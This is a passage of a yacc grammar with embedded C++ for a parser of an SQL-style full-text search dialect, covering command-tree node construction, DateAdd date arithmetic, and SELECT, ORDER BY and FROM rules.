pct->value.pdbcntntValue->pwszPhrase = CoTaskStrDup( pwszContent );
if (pct->value.pdbcntntValue->pwszPhrase)
{
pct->value.pdbcntntValue->dwGenerateMethod = dwGenerateMethod;
pct->value.pdbcntntValue->lWeight = lWeight;
pct->value.pdbcntntValue->lcid = lcid;
}
else
{
DeleteDBQT( pct );
pct = 0;
}
}
return pct;
}
//-----------------------------------------------------------------------------
// @func PctCreateBooleanNode
//
// This function creates a content node with the specified children and weight.
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctCreateBooleanNode(
DBCOMMANDOP op, // @parm IN | op tag for new node
LONG lWeight, // @parm IN | Weight of the boolean node
DBCOMMANDTREE* pctChild, // @parm IN | child of boolean node
DBCOMMANDTREE* pctSibling )// @parm IN | second child of boolean node
{
DBCOMMANDTREE* pct = PctCreateNode( op, DBVALUEKIND_I4, pctChild, pctSibling, NULL );
if ( 0 != pct )
pct->value.lValue = lWeight;
return pct;
}
//-----------------------------------------------------------------------------
// @func PctCreateNotNode
//
// This function creates a not node with the specified child and weight.
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctCreateNotNode(
LONG lWeight, // @parm IN | Weight of the boolean node
DBCOMMANDTREE* pctChild ) // @parm IN | child of NOT node
{
DBCOMMANDTREE* pct = PctCreateNode( DBOP_not, DBVALUEKIND_I4, pctChild, NULL );
if ( 0 != pct )
pct->value.lValue = lWeight;
return pct;
}
//-----------------------------------------------------------------------------
// @func PctCreateRelationalNode
//
// This function creates a relational node with the specied op and weight.
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctCreateRelationalNode(
DBCOMMANDOP op, // @parm IN | op tag for new node
LONG lWeight ) // @parm IN | Weight of the relational node
{
DBCOMMANDTREE* pct = PctCreateNode(op, DBVALUEKIND_I4, NULL);
if ( 0 != pct)
pct->value.lValue = lWeight;
return pct;
}
//-----------------------------------------------------------------------------
// @func SetLWeight
//
// This function sets the lWeight value for vector searches
//
//-----------------------------------------------------------------------------
void SetLWeight(
DBCOMMANDTREE* pct, // @parm IN | node or subtree to set
LONG lWeight ) // @parm IN | weight value for node(s)
{
if ( DBOP_content == pct->op )
pct->value.pdbcntntValue->lWeight = lWeight;
else
{
AssertReq( pct->pctFirstChild );
AssertReq( pct->pctFirstChild->pctNextSibling );
SetLWeight(pct->pctFirstChild, lWeight);
DBCOMMANDTREE* pctNext = pct->pctFirstChild->pctNextSibling;
while ( pctNext )
{
// A content_proximity node can have lots of siblings
SetLWeight( pctNext, lWeight );
pctNext = pctNext->pctNextSibling;
}
}
}
//-----------------------------------------------------------------------------
// @func GetLWeight
//
// This function gets the lWeight value for vector searches
//-----------------------------------------------------------------------------
LONG GetLWeight(
DBCOMMANDTREE* pct ) // @parm IN | node or subtree to set
{
if ( DBOP_content == pct->op )
return pct->value.pdbcntntValue->lWeight;
else
{
AssertReq( pct->pctFirstChild );
return GetLWeight( pct->pctFirstChild );
}
}
//-----------------------------------------------------------------------------
// @func PctBuiltInProperty
//
// This function takes a column name string as input and creates a column_name
// node containing the appropriate GUID information if the column_name is a
// built-in property
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctBuiltInProperty(
LPWSTR pwszColumnName, // @parm IN | name of column
CImpIParserSession* pIPSession, // @parm IN | Parser Session
CImpIParserTreeProperties* pIPTProps ) // @parm IN | Parser Properties
{
DBCOMMANDTREE* pct = 0;
DBID *pDBID = 0;
DBTYPE uwType = 0;
UINT uiWidth = 0;
BOOL fOk = 0;
IColumnMapper* pIColumnMapper = pIPSession->GetColumnMapperPtr();
if ( 0 != pIColumnMapper )
{
// we were able to use the IColumnMapper interface
HRESULT hr = S_OK;
// Olympus kludge
if ( 0 == _wcsicmp(pwszColumnName, L"URL") )
hr = pIColumnMapper->GetPropInfoFromName( L"VPATH", &pDBID, &uwType, &uiWidth );
else
hr = pIColumnMapper->GetPropInfoFromName( pwszColumnName, &pDBID, &uwType, &uiWidth );
if ( SUCCEEDED(hr) )
fOk = TRUE;
else
fOk = FALSE;
}
else
fOk = FALSE; // @TODO: this should generate some sort of error message.
if ( fOk ) // this is a built-in (well known) property
{
pIPTProps->SetDBType( uwType ); // remember the type of this
pct = PctCreateNode( DBOP_column_name, DBVALUEKIND_ID, NULL );
if ( 0 != pct )
{
pct->value.pdbidValue->eKind = pDBID->eKind;
pct->value.pdbidValue->uGuid.guid = pDBID->uGuid.guid;
switch ( pct->value.pdbidValue->eKind )
{
case DBKIND_NAME:
case DBKIND_GUID_NAME:
{
// need to create a new string
pct->value.pdbidValue->uName.pwszName = CoTaskStrDup(pDBID->uName.pwszName);
if ( 0 == pct->value.pdbidValue->uName.pwszName )
{
pct->value.pdbidValue->eKind = DBKIND_GUID_PROPID;
DeleteDBQT( pct );
pct = 0;
}
break;
}
case DBKIND_GUID:
case DBKIND_GUID_PROPID:
pct->value.pdbidValue->uName.pwszName = pDBID->uName.pwszName;
break;
case DBKIND_PGUID_NAME:
{
// need to create a new string
pct->value.pdbidValue->uName.pwszName = CoTaskStrDup(pDBID->uName.pwszName);
if ( 0 == pct->value.pdbidValue->uName.pwszName )
{
pct->value.pdbidValue->eKind = DBKIND_GUID_PROPID;
DeleteDBQT( pct );
pct = 0;
break;
}
// need to allocate and copy guid
pct->value.pdbidValue->uGuid.pguid = (GUID*)CoTaskMemAlloc(sizeof(GUID));
if ( 0 == pct->value.pdbidValue->uName.pwszName )
{
CoTaskMemFree( pct->value.pdbidValue->uName.pwszName );
pct->value.pdbidValue->uName.pwszName = 0;
pct->value.pdbidValue->eKind = DBKIND_GUID_PROPID;
DeleteDBQT( pct );
pct = 0;
break;
}
*pct->value.pdbidValue->uGuid.pguid = *pDBID->uGuid.pguid;
break;
}
case DBKIND_PGUID_PROPID:
{
// need to allocate and copy guid
pct->value.pdbidValue->uGuid.pguid = (GUID*)CoTaskMemAlloc(sizeof(GUID));
if ( 0 == pct->value.pdbidValue->uGuid.pguid )
{
pct->value.pdbidValue->eKind = DBKIND_GUID_PROPID;
DeleteDBQT( pct );
pct = 0;
break;
}
*pct->value.pdbidValue->uGuid.pguid = *pDBID->uGuid.pguid;
break;
}
default:
Assert(0);
}
}
}
return pct;
}
//-----------------------------------------------------------------------------
// @func PctMkColNodeFromStr
//
// This function takes a column name string as input and creates a column_name
// node containing the appropriate GUID information.
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctMkColNodeFromStr(
LPWSTR pwszColumnName, // @parm IN | name of column
CImpIParserSession* pIPSession, // @parm IN | Parser Session
CImpIParserTreeProperties* pIPTProps ) // @parm IN | Parser Properties
{
DBCOMMANDTREE* pct = 0;
pct = PctBuiltInProperty( pwszColumnName, pIPSession, pIPTProps );
if ( 0 == pct )
{ // this may be a user defined property, or is undefined
DBTYPE dbType = 0;
HRESULT hr = pIPSession->m_pCPropertyList->LookUpPropertyName( pwszColumnName, &pct, &dbType );
if ( E_OUTOFMEMORY == hr )
pIPTProps->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
else if ( FAILED(hr) )
{
pIPTProps->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_COLUMN_NOT_DEFINED );
pIPTProps->SetErrorToken( pwszColumnName );
}
else
{
AssertReq( 0 != pct );
pIPTProps->SetDBType( dbType );
}
}
return pct;
}
/* ************************************************************************************************ */
/* ************************************************************************************************ */
/* ************************************************************************************************ */
%}
/***
*** Tokens (used also by flex via sql_tab.h)
***/
%left ','
%left '='
%left _OR
%left _AND
%left _NOT
%left '+' '-'
%left '*' '/'
%left '(' ')'
%nonassoc _UMINUS
%left mHighest
/***
*** reserved_words
***/
%token _ALL
%token _ANY
%token _ARRAY
%token _AS
%token _ASC
%token _CAST
%token _COERCE
%token _CONTAINS
%token _CONTENTS
%token _CREATE
%token _DEEP_TRAVERSAL
%token _DESC
%token _DOT
%token _DOTDOT
%token _DOTDOT_SCOPE
%token _DOTDOTDOT
%token _DOTDOTDOT_SCOPE
%token _DROP
%token _EXCLUDE_SEARCH_TRAVERSAL
%token _FALSE
%token _FREETEXT
%token _FROM
%token _IS
%token _ISABOUT
%token _IS_NOT
%token _LIKE
%token _MATCHES
%token _NEAR
%token _NOT_LIKE
%token _NULL
%token _OF
%token _ORDER_BY
%token _PASSTHROUGH
%token _PROPERTYNAME
%token _PROPID
%token _RANKMETHOD
%token _SELECT
%token _SET
%token _SCOPE
%token _SHALLOW_TRAVERSAL
%token _FORMSOF
%token _SOME
%token _TABLE
%token _TRUE
%token _TYPE
%token _UNION
%token _UNKNOWN
%token _URL
%token _VIEW
%token _WHERE
%token _WEIGHT
/***
*** Two character comparison tokens
***/
%token _GE
%token _LE
%token _NE
/***
*** Terminal tokens
***/
%token _CONST
%token _ID
%token _TEMPVIEW
%token _INTNUM
%token _REALNUM
%token _SCALAR_FUNCTION_REF
%token _STRING
%token _DATE
%token _PREFIX_STRING
/***
*** Terminal tokens that don't actually make it out of the lexer
***/
%token _DELIMITED_ID // A delimited id is processed (quotes stripped) in ms-sql.l.
// A regular id is converted to upper case in ms-sql.l
// _ID is returned for either case.
%start entry_point
%%
/***
*** SQL YACC grammar
***/
entry_point:
definition_list
{
$$ = NULL;
}
| definition_list executable_statement
{
$$ = $2;
}
| executable_statement
{
$$ = $1;
}
;
executable_statement:
ordered_query_specification semicolon
{
if ($2)
{
// There is a semicolon, either as a statement terminator or as
// a statement separator. We don't allow either of those.
m_pIPTProperties->SetErrorHResult(DB_E_MULTIPLESTATEMENTS, MONSQL_SEMI_COLON);
YYABORT(DB_E_MULTIPLESTATEMENTS);
}
$$ = $1;
}
/* *************************************************** *
| _PASSTHROUGH '(' _STRING ',' _STRING ',' _STRING ')'
{
CITextToFullTree(((PROPVARIANT*)$5->value.pvValue)->bstrVal, // pwszRestriction
((PROPVARIANT*)$3->value.pvValue)->bstrVal, // pwszColumns
((PROPVARIANT*)$7->value.pvValue)->bstrVal, // pwszSortColumns
NULL, // pwszGroupings, not used yet. Must be NULL
&$$,
0,
NULL,
m_pIPSession->GetLCID());
}
/* *************************************************** */
;
semicolon:
/* empty (correct) */
{
$$ = NULL;
}
| ';'
{
$$ = PctAllocNode(DBVALUEKIND_NULL, DBOP_NULL);
}
;
definition_list:
definition_list definition opt_semi
{
$$ = NULL;
}
| definition opt_semi
{
$$ = NULL;
}
;
definition:
create_view_statement
{
$$ = NULL;
}
| drop_view_statement
{
$$ = NULL;
}
| set_statement
{
$$ = NULL;
}
;
opt_semi:
/* empty */
| ';'
;
typed_literal:
_INTNUM
{
AssertReq($1);
Assert(VT_UI8 == ((PROPVARIANT*)$1->value.pvValue)->vt ||
VT_I8 == ((PROPVARIANT*)$1->value.pvValue)->vt ||
VT_BSTR == ((PROPVARIANT*)$1->value.pvValue)->vt);
m_pIPTProperties->AppendCiRestriction((YY_CHAR*)m_yylex.YYText(), wcslen(m_yylex.YYText()));
HRESULT hr = CoerceScalar(m_pIPTProperties->GetDBType(), &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
| _REALNUM
{
AssertReq($1);
Assert(VT_R8 == ((PROPVARIANT*)$1->value.pvValue)->vt ||
VT_BSTR == ((PROPVARIANT*)$1->value.pvValue)->vt);
m_pIPTProperties->AppendCiRestriction((YY_CHAR*)m_yylex.YYText(), wcslen(m_yylex.YYText()));
HRESULT hr = CoerceScalar(m_pIPTProperties->GetDBType(), &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
| _STRING
{
AssertReq($1);
Assert(VT_BSTR == ((PROPVARIANT*)$1->value.pvValue)->vt);
if (VT_DATE == m_pIPTProperties->GetDBType() ||
VT_FILETIME == m_pIPTProperties->GetDBType())
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$1->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$1->value.pvValue)->bstrVal));
else
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$1->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$1->value.pvValue)->bstrVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
}
HRESULT hr = CoerceScalar(m_pIPTProperties->GetDBType(), &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
| relative_date_time
{
AssertReq($1);
Assert(VT_FILETIME == ((PROPVARIANT*)$1->value.pvValue)->vt);
SYSTEMTIME stValue = {0, 0, 0, 0, 0, 0, 0, 0};
if (FileTimeToSystemTime(&(((PROPVARIANT*)$1->value.pvValue)->filetime), &stValue))
{
WCHAR wchDateTime[50];
if (NULL == wchDateTime)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
int cItems = swprintf(wchDateTime, L" %4d/%02d/%02d %02d:%02d:%02d",
stValue.wYear,
stValue.wMonth,
stValue.wDay,
stValue.wHour,
stValue.wMinute,
stValue.wSecond);
m_pIPTProperties->AppendCiRestriction(wchDateTime, wcslen(wchDateTime));
}
HRESULT hr = CoerceScalar(m_pIPTProperties->GetDBType(), &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
| boolean_literal
{
m_pIPTProperties->AppendCiRestriction((YY_CHAR*)m_yylex.YYText(), wcslen(m_yylex.YYText()));
HRESULT hr = CoerceScalar(m_pIPTProperties->GetDBType(), &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
;
unsigned_integer:
_INTNUM
{
HRESULT hr = CoerceScalar(VT_UI4, &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
;
integer:
_INTNUM
{
HRESULT hr = CoerceScalar(VT_I4, &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
;
relative_date_time:
identifier '(' identifier ',' _INTNUM ',' relative_date_time ')'
{
// should be DateAdd(<datepart>, <negative integer>, <relative date/time>)
AssertReq($1);
AssertReq($3);
AssertReq($5);
AssertReq($7);
if (0 != _wcsicmp(L"DateAdd", $1->value.pwszValue))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($1->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"DateAdd");
YYABORT(DB_E_ERRORSINCOMMAND);
}
HRESULT hr = CoerceScalar(VT_I4, &$5);
if (S_OK != hr)
YYABORT(hr);
if (((PROPVARIANT*)$5->value.pvValue)->iVal > 0)
{
WCHAR wchError[30];
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
swprintf(wchError, L"%d", ((PROPVARIANT*)$5->value.pvValue)->iVal);
m_pIPTProperties->SetErrorToken(wchError);
swprintf(wchError, L"%d", -((PROPVARIANT*)$5->value.pvValue)->iVal);
m_pIPTProperties->SetErrorToken(wchError);
YYABORT(DB_E_ERRORSINCOMMAND);
}
LARGE_INTEGER hWeek = {686047232, 1408};
LARGE_INTEGER hDay = {711573504, 201};
LARGE_INTEGER hHour = {1640261632, 8};
LARGE_INTEGER hMinute = {600000000, 0};
LARGE_INTEGER hSecond = {10000000, 0};
LARGE_INTEGER hIncr = {0,0};
bool fHandleMonth = false;
ULONG ulMonths = 1;
switch ( $3->value.pwszValue[0] )
{
case L'Y':
case L'y':
if (0 == (_wcsicmp(L"YY", $3->value.pwszValue) & _wcsicmp(L"YEAR", $3->value.pwszValue)))
{
// fall through and handle as 12 months
ulMonths = 12;
}
case L'Q':
case L'q':
if (0 == (_wcsicmp(L"QQ", $3->value.pwszValue) & _wcsicmp(L"QUARTER", $3->value.pwszValue)))
{
// fall through and handle as 3 months
ulMonths = 3;
}
case L'M':
case L'm':
if ( 0 == (_wcsicmp(L"YY", $3->value.pwszValue) & _wcsicmp(L"YEAR", $3->value.pwszValue)) ||
0 == (_wcsicmp(L"QQ", $3->value.pwszValue) & _wcsicmp(L"QUARTER", $3->value.pwszValue)) ||
0 == (_wcsicmp(L"MM", $3->value.pwszValue) & _wcsicmp(L"MONTH", $3->value.pwszValue)))
{
//
// Convert to system time
//
SYSTEMTIME st = { 0, 0, 0, 0, 0, 0, 0, 0 };
FileTimeToSystemTime( &((PROPVARIANT*)$7->value.pvValue)->filetime, &st );
LONGLONG llDays = 0;
LONG lMonthsLeft = ulMonths * -((PROPVARIANT*)$5->value.pvValue)->iVal;
LONG yr = st.wYear;
LONG lCurMonth = st.wMonth-1;
while ( lMonthsLeft )
{
LONG lMonthsDone = 1;
while ( lMonthsDone<=lMonthsLeft )
{
// Will we still be in the current year when looking at the prev month?
if ( 0 == lCurMonth )
break;
// Subtract the number of days in the previous month. We will adjust
llDays += DaysInMonth( yr, lCurMonth-1);
lMonthsDone++;
lCurMonth--;
}
// Months left over in prev year
lMonthsLeft -= lMonthsDone-1;
if ( 0 != lMonthsLeft )
{
yr--;
lCurMonth = 12; // 11 is December.
}
}
//
// adjust current date to at most max of destination month
//
if ( llDays > 0 && st.wDay > DaysInMonth(yr, lCurMonth-1) )
llDays += st.wDay - DaysInMonth(yr, lCurMonth-1);
hIncr.QuadPart = hDay.QuadPart * llDays;
fHandleMonth = true;
}
else if (0 == (_wcsicmp(L"MI", $3->value.pwszValue) & _wcsicmp(L"MINUTE", $3->value.pwszValue)))
hIncr = hMinute;
break;
case L'W':
case L'w':
if (0 == (_wcsicmp(L"WK", $3->value.pwszValue) & _wcsicmp(L"WEEK", $3->value.pwszValue)))
hIncr = hWeek;
break;
case L'D':
case L'd':
if (0 == (_wcsicmp(L"DD", $3->value.pwszValue) & _wcsicmp(L"DAY", $3->value.pwszValue)))
hIncr = hDay;
break;
case L'H':
case L'h':
if (0 == (_wcsicmp(L"HH", $3->value.pwszValue) & _wcsicmp(L"HOUR", $3->value.pwszValue)))
hIncr = hHour;
break;
case L'S':
case L's':
if (0 == (_wcsicmp(L"SS", $3->value.pwszValue) & _wcsicmp(L"SECOND", $3->value.pwszValue)))
hIncr = hSecond;
break;
default:
break;
}
if (0 == hIncr.LowPart && 0 == hIncr.HighPart)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($3->value.pwszValue);
m_pIPTProperties->SetErrorToken(
L"YEAR, QUARTER, MONTH, WEEK, DAY, HOUR, MINUTE, SECOND");
YYABORT(DB_E_ERRORSINCOMMAND);
}
if ( fHandleMonth )
{
((PROPVARIANT*)$7->value.pvValue)->hVal.QuadPart -= hIncr.QuadPart;
#ifdef DEBUG
SYSTEMTIME st1 = { 0, 0, 0, 0, 0, 0, 0, 0 };
FileTimeToSystemTime( &((PROPVARIANT*)$7->value.pvValue)->filetime, &st1 );
#endif
}
else
{
for (int i = 0; i < -((PROPVARIANT*)$5->value.pvValue)->iVal; i++)
((PROPVARIANT*)$7->value.pvValue)->hVal.QuadPart -= hIncr.QuadPart;
}
$$ = $7;
DeleteDBQT($1);
DeleteDBQT($3);
DeleteDBQT($5);
}
| identifier '(' ')'
{
// should be getgmdate()
AssertReq($1);
if (0 != _wcsicmp(L"GetGMTDate", $1->value.pwszValue))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($1->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"GetGMTDate");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($1);
$1 = 0;
$$ = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
HRESULT hr = CoFileTimeNow(&(((PROPVARIANT*)$$->value.pvValue)->filetime));
((PROPVARIANT*)$$->value.pvValue)->vt = VT_FILETIME;
}
;
boolean_literal:
_TRUE
{
$$ = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
((PROPVARIANT*)$$->value.pvValue)->vt = VT_BOOL;
((PROPVARIANT*)$$->value.pvValue)->boolVal = VARIANT_TRUE;
}
| _FALSE
{
$$ = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
((PROPVARIANT*)$$->value.pvValue)->vt = VT_BOOL;
((PROPVARIANT*)$$->value.pvValue)->boolVal = VARIANT_FALSE;
}
;
identifier:
_ID
;
correlation_name:
identifier
;
/* 4.1 Query Specification */
ordered_query_specification:
query_specification opt_order_by_clause
{
AssertReq($1); // need a query specification tree
if (NULL != $2) // add optional ORDER BY nodes
{
// Is project list built correctly?
AssertReq($1->pctFirstChild);
AssertReq($1->pctFirstChild->pctNextSibling);
AssertReq($1->pctFirstChild->pctNextSibling->pctFirstChild);
Assert(($1->op == DBOP_project) &&
($1->pctFirstChild->pctNextSibling->op == DBOP_project_list_anchor));
DBCOMMANDTREE* pctSortList = $2->pctFirstChild;
AssertReq(pctSortList);
while (pctSortList)
{
// Is sort list built correctly?
Assert(pctSortList->op == DBOP_sort_list_element);
AssertReq(pctSortList->pctFirstChild);
Assert((pctSortList->pctFirstChild->op == DBOP_column_name) ||
(pctSortList->pctFirstChild->op == DBOP_scalar_constant));
if (pctSortList->pctFirstChild->op == DBOP_scalar_constant)
{
// we've got an ordinal rather than a column number, so we've got to
// walk through the project list to find the corresponding column
Assert(DBVALUEKIND_VARIANT == pctSortList->pctFirstChild->wKind);
Assert(VT_I4 == pctSortList->pctFirstChild->value.pvarValue->vt);
DBCOMMANDTREE* pctProjectList = $1->pctFirstChild->pctNextSibling->pctFirstChild;
AssertReq(pctProjectList);
LONG cProjectListElements = GetNumberOfSiblings(pctProjectList);
if ((cProjectListElements < pctSortList->pctFirstChild->value.pvarValue->lVal) ||
(0 >= pctSortList->pctFirstChild->value.pvarValue->lVal))
{
// ordinal is larger than number of elements in project list
WCHAR wchError[30];
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_ORDINAL_OUT_OF_RANGE);
swprintf(wchError, L"%d", pctSortList->pctFirstChild->value.pvarValue->lVal);
m_pIPTProperties->SetErrorToken(wchError);
swprintf(wchError, L"%d", cProjectListElements);
m_pIPTProperties->SetErrorToken(wchError);
YYABORT(DB_E_ERRORSINCOMMAND);
}
else
{
LONG lColumnNumber = 1;
while (pctProjectList &&
(lColumnNumber < pctSortList->pctFirstChild->value.pvarValue->lVal))
{
// find the ulVal'th column in the project list
Assert(pctProjectList->op == DBOP_project_list_element);
pctProjectList = pctProjectList->pctNextSibling;
lColumnNumber++;
}
DeleteDBQT(pctSortList->pctFirstChild);
HRESULT hr = HrQeTreeCopy(&pctSortList->pctFirstChild,
pctProjectList->pctFirstChild);
if (FAILED(hr))
{
m_pIPTProperties->SetErrorHResult(hr, MONSQL_OUT_OF_MEMORY);
YYABORT(hr);
}
}
}
pctSortList = pctSortList->pctNextSibling;
}
m_pIPTProperties->SetSortDesc(QUERY_SORTASCEND); // reset "stick" sort direction
$$ = PctCreateNode(DBOP_sort, $1, $2, NULL);
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
else
{
$$ = $1;
}
AssertReq($$);
}
;
query_specification:
_SELECT opt_set_quantifier select_list from_clause opt_where_clause
{
AssertReq($3); // need a select list
AssertReq($4); // need a from clause
if (NULL != $4->pctNextSibling)
{ // the from clause is a from view
if (DBOP_outall_name == $3->op)
{
DeleteDBQT( $3 );
$3 = $4;
$4 = $3->pctNextSibling;
$3->pctNextSibling = NULL;
AssertReq( $3->pctFirstChild ); // first project list element
DBCOMMANDTREE* pct = $3->pctFirstChild;
while ( pct )
{ // recheck the properties to get current definitions
DeleteDBQT( pct->pctFirstChild );
pct->pctFirstChild =
PctMkColNodeFromStr( pct->value.pwszValue, m_pIPSession, m_pIPTProperties );
if ( 0 == pct->pctFirstChild )
YYABORT( DB_E_ERRORSINCOMMAND );
pct = pct->pctNextSibling;
}
}
else
{
$1 = $4;
$4 = $1->pctNextSibling;
$1->pctNextSibling = NULL;
AssertReq($3); // project list anchor
AssertReq($3->pctFirstChild); // first project list element
DBCOMMANDTREE* pctNewPrjLst = $3->pctFirstChild;
AssertReq($1); // project list anchor
AssertReq($1->pctFirstChild); // first project list element
DBCOMMANDTREE* pctViewPrjLst = NULL; // initialized within loop
while (pctNewPrjLst)
{
pctViewPrjLst = $1->pctFirstChild;
Assert( DBOP_project_list_element == pctNewPrjLst->op );
Assert( DBVALUEKIND_WSTR == pctNewPrjLst->wKind );
while ( pctViewPrjLst )
{
Assert( DBOP_project_list_element == pctViewPrjLst->op );
Assert( DBVALUEKIND_WSTR == pctViewPrjLst->wKind );
if ( 0 == _wcsicmp(pctNewPrjLst->value.pwszValue, pctViewPrjLst->value.pwszValue) )
break;
pctViewPrjLst = pctViewPrjLst->pctNextSibling;
if ( !pctViewPrjLst )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_NOT_COLUMN_OF_VIEW );
m_pIPTProperties->SetErrorToken( pctNewPrjLst->value.pwszValue );
// UNDONE: Might want to include a view name on error message
YYABORT( DB_E_ERRORSINCOMMAND );
}
}
pctNewPrjLst = pctNewPrjLst->pctNextSibling;
}
DeleteDBQT( $1 );
$1 = 0;
}
}
else
{
// "standard" from clause
if ( DBOP_outall_name == $3->op )
if ( DBDIALECT_MSSQLJAWS != m_pIPSession->GetSQLDialect() )
{
// SELECT * only allowed in JAWS
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_SELECT_STAR );
YYABORT( DB_E_ERRORSINCOMMAND );
}
else
{
$3 = PctCreateNode( DBOP_project_list_element, $3, NULL );
if ( NULL == $3 )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$3 = PctCreateNode( DBOP_project_list_anchor, $3, NULL );
if ( NULL == $3 )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
}
if ( NULL != $5 )
{
$1 = PctCreateNode( DBOP_select, $4, $5, NULL );
if ( NULL == $1 )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
else
$1 = $4;
$$ = PctCreateNode( DBOP_project, $1, $3, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
;
opt_set_quantifier:
/* empty */
{
$$ = NULL;
}
| _ALL
{
// ignore ALL keyword, its just noise
$$ = NULL;
}
;
select_list:
select_sublist
{
AssertReq($1);
$1 = PctReverse($1);
$$ = PctCreateNode(DBOP_project_list_anchor, $1, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
| '*'
{
$$ = PctCreateNode(DBOP_outall_name, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
;
select_sublist:
select_sublist ',' derived_column
{
AssertReq($1);
AssertReq($3);
//
// chain project list elements together
//
$$ = PctLink( $3, $1 );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
| derived_column
;
derived_column:
identifier
{
AssertReq($1);
$1->op = DBOP_project_list_element;
$1->pctFirstChild = PctMkColNodeFromStr($1->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL == $1->pctFirstChild)
YYABORT(DB_E_ERRORSINCOMMAND);
$$ = $1;
}
| correlation_name '.' identifier
{
AssertReq($1);
AssertReq($3);
DeleteDBQT($1); // UNDONE: Don't use the correlation name for now
$1 = NULL;
$3->op = DBOP_project_list_element;
$3->pctFirstChild = PctMkColNodeFromStr($3->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL == $3->pctFirstChild)
YYABORT(DB_E_ERRORSINCOMMAND);
$$ = $3;
}
| _CREATE
{
$$ = PctMkColNodeFromStr(L"CREATE", m_pIPSession, m_pIPTProperties);
if (NULL == $$)
YYABORT(DB_E_ERRORSINCOMMAND);
$$ = PctCreateNode(DBOP_project_list_element, DBVALUEKIND_WSTR, $$, NULL);
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pwszValue = CoTaskStrDup(L"CREATE");
}
;
/* 4.3 FROM Clause */
from_clause:
common_from_clause
| from_view_clause
;
